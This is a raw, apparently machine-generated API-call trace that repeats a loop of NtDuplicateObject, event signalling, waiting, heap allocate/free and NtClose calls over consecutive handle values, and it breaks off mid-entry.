[0259.368] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2e4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.368] ResetEvent (hEvent=0x114) returned 1 [0259.368] SetEvent (hEvent=0x110) returned 1 [0259.368] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.368] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.368] NtClose (Handle=0x1c4) returned 0x0 [0259.368] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2e8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.368] ResetEvent (hEvent=0x114) returned 1 [0259.368] SetEvent (hEvent=0x110) returned 1 [0259.369] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.369] NtClose (Handle=0x1c4) returned 0x0 [0259.369] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2ec, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.369] ResetEvent (hEvent=0x114) returned 1 [0259.369] SetEvent (hEvent=0x110) returned 1 [0259.369] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.369] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.369] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.369] NtClose (Handle=0x1c4) returned 0x0 [0259.369] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2f0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.370] ResetEvent (hEvent=0x114) returned 1 [0259.370] SetEvent (hEvent=0x110) returned 1 [0259.370] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.370] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.370] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.370] NtClose (Handle=0x1c4) returned 0x0 [0259.370] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2f4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.370] ResetEvent (hEvent=0x114) returned 1 [0259.370] SetEvent (hEvent=0x110) returned 1 [0259.371] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.371] NtClose (Handle=0x1c4) returned 0x0 [0259.371] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2f8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.371] ResetEvent (hEvent=0x114) returned 1 [0259.371] SetEvent (hEvent=0x110) returned 1 [0259.371] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.371] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.371] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.371] NtClose (Handle=0x1c4) returned 0x0 [0259.371] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2fc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.371] ResetEvent (hEvent=0x114) returned 1 [0259.371] SetEvent (hEvent=0x110) returned 1 [0259.372] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.372] NtClose (Handle=0x1c4) returned 0x0 [0259.372] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x300, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.372] ResetEvent (hEvent=0x114) returned 1 [0259.372] SetEvent (hEvent=0x110) returned 1 [0259.372] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.373] NtClose (Handle=0x1c4) returned 0x0 [0259.373] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x304, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.373] ResetEvent (hEvent=0x114) returned 1 [0259.373] SetEvent (hEvent=0x110) returned 1 [0259.373] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.373] NtClose (Handle=0x1c4) returned 0x0 [0259.373] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x308, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.373] ResetEvent (hEvent=0x114) returned 1 [0259.373] SetEvent (hEvent=0x110) returned 1 [0259.374] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.374] NtClose (Handle=0x1c4) returned 0x0 [0259.374] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x30c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.374] ResetEvent (hEvent=0x114) returned 1 [0259.374] SetEvent (hEvent=0x110) returned 1 [0259.374] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.375] NtClose (Handle=0x1c4) returned 0x0 [0259.375] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x310, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.375] ResetEvent (hEvent=0x114) returned 1 [0259.375] SetEvent (hEvent=0x110) returned 1 [0259.375] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.375] NtClose (Handle=0x1c4) returned 0x0 [0259.375] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x314, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.375] ResetEvent (hEvent=0x114) returned 1 [0259.375] SetEvent (hEvent=0x110) returned 1 [0259.376] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.376] NtClose (Handle=0x1c4) returned 0x0 [0259.376] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x318, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.376] ResetEvent (hEvent=0x114) returned 1 [0259.376] SetEvent (hEvent=0x110) returned 1 [0259.376] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.377] NtClose (Handle=0x1c4) returned 0x0 [0259.377] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x31c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.377] ResetEvent (hEvent=0x114) returned 1 [0259.377] SetEvent (hEvent=0x110) returned 1 [0259.377] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.377] NtClose (Handle=0x1c4) returned 0x0 [0259.377] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x320, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.377] ResetEvent (hEvent=0x114) returned 1 [0259.377] SetEvent (hEvent=0x110) returned 1 [0259.378] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.378] NtClose (Handle=0x1c4) returned 0x0 [0259.378] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x324, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.378] ResetEvent (hEvent=0x114) returned 1 [0259.378] SetEvent (hEvent=0x110) returned 1 [0259.378] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.379] NtClose (Handle=0x1c4) returned 0x0 [0259.379] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x328, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.379] ResetEvent (hEvent=0x114) returned 1 [0259.379] SetEvent (hEvent=0x110) returned 1 [0259.379] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.379] NtClose (Handle=0x1c4) returned 0x0 [0259.379] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x32c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.379] ResetEvent (hEvent=0x114) returned 1 [0259.379] SetEvent (hEvent=0x110) returned 1 [0259.380] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.380] NtClose (Handle=0x1c4) returned 0x0 [0259.380] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x330, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.380] ResetEvent (hEvent=0x114) returned 1 [0259.380] SetEvent (hEvent=0x110) returned 1 [0259.380] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.380] NtClose (Handle=0x1c4) returned 0x0 [0259.381] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x334, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.381] ResetEvent (hEvent=0x114) returned 1 [0259.381] SetEvent (hEvent=0x110) returned 1 [0259.381] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.381] NtClose (Handle=0x1c4) returned 0x0 [0259.381] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x338, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.381] ResetEvent (hEvent=0x114) returned 1 [0259.381] SetEvent (hEvent=0x110) returned 1 [0259.382] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.382] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.382] NtClose (Handle=0x1c4) returned 0x0 [0259.382] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x33c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.382] ResetEvent (hEvent=0x114) returned 1 [0259.382] SetEvent (hEvent=0x110) returned 1 [0259.382] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.382] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.382] NtClose (Handle=0x1c4) returned 0x0 [0259.382] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x340, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.383] ResetEvent (hEvent=0x114) returned 1 [0259.383] SetEvent (hEvent=0x110) returned 1 [0259.383] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.383] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.383] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.383] NtClose (Handle=0x1c4) returned 0x0 [0259.383] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x344, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.383] ResetEvent (hEvent=0x114) returned 1 [0259.383] SetEvent (hEvent=0x110) returned 1 [0259.384] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.384] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.384] NtClose (Handle=0x1c4) returned 0x0 [0259.384] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x348, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.384] ResetEvent (hEvent=0x114) returned 1 [0259.384] SetEvent (hEvent=0x110) returned 1 [0259.384] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.384] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.384] NtClose (Handle=0x1c4) returned 0x0 [0259.385] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x34c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.385] ResetEvent (hEvent=0x114) returned 1 [0259.385] SetEvent (hEvent=0x110) returned 1 [0259.385] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.385] NtClose (Handle=0x1c4) returned 0x0 [0259.385] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x350, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.385] ResetEvent (hEvent=0x114) returned 1 [0259.385] SetEvent (hEvent=0x110) returned 1 [0259.388] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.388] NtClose (Handle=0x1c4) returned 0x0 [0259.388] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x354, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.388] ResetEvent (hEvent=0x114) returned 1 [0259.388] SetEvent (hEvent=0x110) returned 1 [0259.389] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.389] NtClose (Handle=0x1c4) returned 0x0 [0259.389] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x358, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.389] ResetEvent (hEvent=0x114) returned 1 [0259.389] SetEvent (hEvent=0x110) returned 1 [0259.389] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.390] NtClose (Handle=0x1c4) returned 0x0 [0259.390] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x35c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.390] ResetEvent (hEvent=0x114) returned 1 [0259.390] SetEvent (hEvent=0x110) returned 1 [0259.390] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.390] NtClose (Handle=0x1c4) returned 0x0 [0259.390] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x360, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.390] ResetEvent (hEvent=0x114) returned 1 [0259.390] SetEvent (hEvent=0x110) returned 1 [0259.391] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.391] NtClose (Handle=0x1c4) returned 0x0 [0259.391] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x364, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.391] ResetEvent (hEvent=0x114) returned 1 [0259.391] SetEvent (hEvent=0x110) returned 1 [0259.391] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.392] NtClose (Handle=0x1c4) returned 0x0 [0259.392] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x368, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.392] ResetEvent (hEvent=0x114) returned 1 [0259.392] SetEvent (hEvent=0x110) returned 1 [0259.392] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.392] NtClose (Handle=0x1c4) returned 0x0 [0259.392] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x36c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.392] ResetEvent (hEvent=0x114) returned 1 [0259.392] SetEvent (hEvent=0x110) returned 1 [0259.393] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.393] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.393] NtClose (Handle=0x1c4) returned 0x0 [0259.393] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x370, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.393] ResetEvent (hEvent=0x114) returned 1 [0259.393] SetEvent (hEvent=0x110) returned 1 [0259.393] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.394] NtClose (Handle=0x1c4) returned 0x0 [0259.394] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x374, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.394] ResetEvent (hEvent=0x114) returned 1 [0259.394] SetEvent (hEvent=0x110) returned 1 [0259.394] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.394] NtClose (Handle=0x1c4) returned 0x0 [0259.394] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x378, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.394] ResetEvent (hEvent=0x114) returned 1 [0259.394] SetEvent (hEvent=0x110) returned 1 [0259.395] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.395] NtClose (Handle=0x1c4) returned 0x0 [0259.395] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x37c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.395] ResetEvent (hEvent=0x114) returned 1 [0259.395] SetEvent (hEvent=0x110) returned 1 [0259.395] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, 